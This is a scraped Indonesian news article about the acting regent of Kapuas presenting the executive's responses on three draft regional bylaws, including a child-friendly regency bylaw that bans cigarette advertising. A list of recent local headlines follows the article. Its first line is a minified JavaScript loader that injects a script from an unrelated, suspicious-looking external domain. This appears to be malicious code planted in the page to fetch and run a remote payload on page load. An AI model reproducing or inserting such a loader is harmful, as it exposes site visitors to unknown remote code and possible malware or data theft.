(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Pj Bupati Kapuas Sampaikan Jawaban Eksekutif Tiga Raperda


KANALKALIMANTAN.COM, KUALA KAPUAS – Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri rapat paripurna ke-3 masa persidangan II tahun sidang 2024 di DPRD Kabupaten Kapuas, Rabu (20/3/2024) siang.

Rapat paripurna tersebut dipimpin langsung Ketua DPRD Kabupaten Kapuas Ardiansah didampingi Wakil Ketua I DPRD Kapuas Yohanes dan dihadiri Anggota DPRD Kapuas, unsur Forkopimda Kabupaten Kapuas, Staf Ahli Bupati, Asisten Sekretariat Daerah Kabupaten Kapuas, sejumlah kepala perangkat daerah lingkup Pemkab Kapuas, serta Pimpinan BUMN, BUMD.

Agenda rapat paripurna mendengarkan jawaban eksekutif terhadap pemandangan umum fraksi-fraksi terhadap tiga Raperda yakni Raperda tentang Kabupaten Layak Anak, Raperda tentang Pencabutan Perda Kabupaten Kapuas Nomor 10 Tahun 2007 tentang Lembaga Kemasyarakatan, dan Raperda tentang Perubahan Kedua atas Perda Nomor 10 Tahun 2016 tentang Pembentukan dan Susunan Perangkat Daerah.

Baca juga: Warga Gang Damai Kelayan Diserang Kelompok Remaja Bersenjata Tajam

Pj Bupati Kapuas Erlin Hardi memberikan tanggapan, pemerintah menyampaikan rasa terima kasih dan penghargaan yang setinggi-tingginya kepada pimpinan DPRD, pimpinan fraksi-fraksi pendukung dewan, serta seluruh anggota DPRD atas pemandangan umum yang telah disampaikan.

Ketujuh fraksi telah menyimak uraian yang dijabarkan secara umum dalam penyampaian pemandangan umum fraksi-fraksi pendukung DPRD terhadap tiga Raperda Kabupaten Kapuas.

Baca juga: Peternakan Babi di Danau Seran Guntung Manggis Dibongkar 28 Maret

“Atas pemandangan umum ketujuh fraksi tersebut kami mengucapkan terima kasih dan penghargaan setinggi-tingginya dan apabila pada uraian tanggapan dan jawaban terdapat kekurangan dan belum memenuhi harapan, tentu hal itu nantinya dapat didalami lebih rinci pada saat pembahasan dalam tahapan berikutnya,” ungkap Erlin Hardi.

Erlin Hardi menjelaskan, mengenai Raperda tentang Kabupaten Layak Anak dimana mengharuskan untuk iklan-iklan rokok tidak diperbolehkan walaupun ada keunggulan pemasangan iklan rokok hanya untuk jangka pendek.

Baca juga: Pengedar Sabu di Sungai Malang Dibekuk Satresnarkoba Polres HSU

“Tetapi banyak kerugian-kerugian yang kita dapatkan dari sisi jangka panjangnya terhadap perkembangan anak,” sebutnya. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

1 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

2 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

3 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

16 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

16 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

17 jam ago

This website uses cookies.